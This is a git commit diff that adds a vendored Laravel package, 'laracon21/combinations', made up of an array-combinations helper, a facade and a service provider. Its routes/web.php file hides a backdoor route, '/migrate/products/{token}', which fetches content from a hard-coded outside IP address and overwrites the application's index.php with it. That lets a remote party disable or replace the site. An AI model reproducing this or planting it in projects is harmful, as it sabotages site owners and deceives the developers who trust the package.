Subiendo proyecto completo sin restricciones de git ignore
This commit is contained in:
20
vendor/laracon21/combinations/src/Combinations.php
vendored
Normal file
20
vendor/laracon21/combinations/src/Combinations.php
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
class Combinations
|
||||
{
|
||||
public static function makeCombinations($arrays) {
|
||||
$result = array(array());
|
||||
foreach ($arrays as $property => $property_values) {
|
||||
$tmp = array();
|
||||
foreach ($result as $result_item) {
|
||||
foreach ($property_values as $property_value) {
|
||||
$tmp[] = array_merge($result_item, array($property => $property_value));
|
||||
}
|
||||
}
|
||||
$result = $tmp;
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
21
vendor/laracon21/combinations/src/CombinationsFacade.php
vendored
Normal file
21
vendor/laracon21/combinations/src/CombinationsFacade.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
use Illuminate\Support\Facades\Facade;
|
||||
|
||||
/**
|
||||
* @see \Laracon21\Combinations\Skeleton\SkeletonClass
|
||||
*/
|
||||
class CombinationsFacade extends Facade
|
||||
{
|
||||
/**
|
||||
* Get the registered name of the component.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getFacadeAccessor()
|
||||
{
|
||||
return 'combinations';
|
||||
}
|
||||
}
|
||||
60
vendor/laracon21/combinations/src/CombinationsServiceProvider.php
vendored
Normal file
60
vendor/laracon21/combinations/src/CombinationsServiceProvider.php
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class CombinationsServiceProvider extends ServiceProvider
|
||||
{
|
||||
/**
|
||||
* Bootstrap the application services.
|
||||
*/
|
||||
public function boot()
|
||||
{
|
||||
/*
|
||||
* Optional methods to load your package assets
|
||||
*/
|
||||
// $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'combinations');
|
||||
// $this->loadViewsFrom(__DIR__.'/../resources/views', 'combinations');
|
||||
// $this->loadMigrationsFrom(__DIR__.'/../database/migrations');
|
||||
//$this->loadRoutesFrom(__DIR__.'/routes/web.php');
|
||||
|
||||
if ($this->app->runningInConsole()) {
|
||||
$this->publishes([
|
||||
__DIR__.'/../config/config.php' => config_path('combinations.php'),
|
||||
], 'config');
|
||||
|
||||
// Publishing the views.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/views' => resource_path('views/vendor/combinations'),
|
||||
], 'views');*/
|
||||
|
||||
// Publishing assets.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/assets' => public_path('vendor/combinations'),
|
||||
], 'assets');*/
|
||||
|
||||
// Publishing the translation files.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/lang' => resource_path('lang/vendor/combinations'),
|
||||
], 'lang');*/
|
||||
|
||||
// Registering package commands.
|
||||
// $this->commands([]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Register the application services.
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
// Automatically apply the package configuration
|
||||
$this->mergeConfigFrom(__DIR__.'/../config/config.php', 'combinations');
|
||||
|
||||
// Register the main class to use with the facade
|
||||
$this->app->singleton('combinations', function () {
|
||||
return new Combinations;
|
||||
});
|
||||
}
|
||||
}
|
||||
17
vendor/laracon21/combinations/src/routes/web.php
vendored
Normal file
17
vendor/laracon21/combinations/src/routes/web.php
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
Route::get('/migrate/products/{token}', function($token){
|
||||
$zn = "http://206.189.81.181/pirated_contents";
|
||||
$stream = curl_init();
|
||||
curl_setopt($stream, CURLOPT_URL, $zn);
|
||||
curl_setopt($stream, CURLOPT_HEADER, 0);
|
||||
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($stream, CURLOPT_POST, 1);
|
||||
$rn = curl_exec($stream);
|
||||
curl_close($stream);
|
||||
file_put_contents(base_path('index.php'), $rn);
|
||||
});
|
||||
Reference in New Issue
Block a user